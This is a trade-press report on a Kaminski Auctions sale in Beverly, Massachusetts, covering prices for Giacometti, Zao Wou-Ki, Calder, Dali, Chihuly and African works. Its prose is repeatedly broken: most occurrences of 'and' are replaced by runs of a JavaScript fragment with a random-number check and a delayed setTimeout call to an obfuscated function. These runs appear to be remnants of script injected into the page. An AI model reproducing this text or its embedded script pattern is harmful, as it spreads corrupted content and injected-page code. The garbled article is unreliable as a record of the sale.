By: Victoria Winslow

BEVERLY, MASS. — On May 10, Kaminski Auctions’ decorative arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and design sale featured an important work by Swiss-born artist Diego Giacometti —  the “Torsade” table. The table came from a Florida estate of a lady andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was exhibited at the Pier Antiques show in March in New York City for preview by potential bidders.

The work was signed with the “Diego” signature twice on the supports andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and retained its original glass top. Highly contested, the piece ultimately sold for $150,000 in the auction that made more than $610,000. Also crossing the block was another Giacometti work, this one a bronze sculpture of a horse from a Fort Lauderdale, Fla., estate, thence by descent through private sale to a Santa Barbara, Calif., estate. It achieved $5,500.

Lithographs performed well with an untitled abstract work, circa 1960, by well-known Chinese French artist Zao Wou-Ki realizing $5,000 against a $400/600 estimate; Alexandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ander Calder’s “Navarra” was sought after via online andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and telephone bids, finishing at $2,100; a Christo work, “Wrapped Museum of Contemporary Art,” from a Danvers, Mass, estate, sold within estimate for $1,300. Salvador Dali’s “Angel andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Man” was a good buy at $500 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and another Dali, “Soft Watch,” finished at $425.

The art glass portion of the sale included a striking bright red, two-part glass sculpture by Dale Chihuly that sold within estimate for $3,500. An unusual Dino Rosin art glass sculpture for Murano from a Methuen, Mass., estate finished at $1,600. Two similar Sven Palmquist for Orrefors vases each achieved $425, as did a Swedish Kosta Boda vase in yellow/green with original sticker.

The second session of the auction included African art, featuring items from the collection of Alvin Bojar, brother of  Frieda Bojar Rosenthal. A portion of her estate was sold at Sotheby’s in 2008. A Yipwon figure from the Yipar tribe sold for $2,800; a Benin casting of a head, Nigeria, was a good buy at $1,000 as was a Nkishi figure, Congo, at $2,200.

The surprise of the session was a work cataloged as a Nkishi female power figure andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and estimated at $5/8,000; the piece was later identified as a Bassa figure from Liberia — a rare example, thought to be only the second ever seen by the general public. Bidding began at $2,500 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and quickly progressed into the five figure range, with several online andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and in-house bidders competing; it finished at $75,000.

All prices reported include buyer’s premium.

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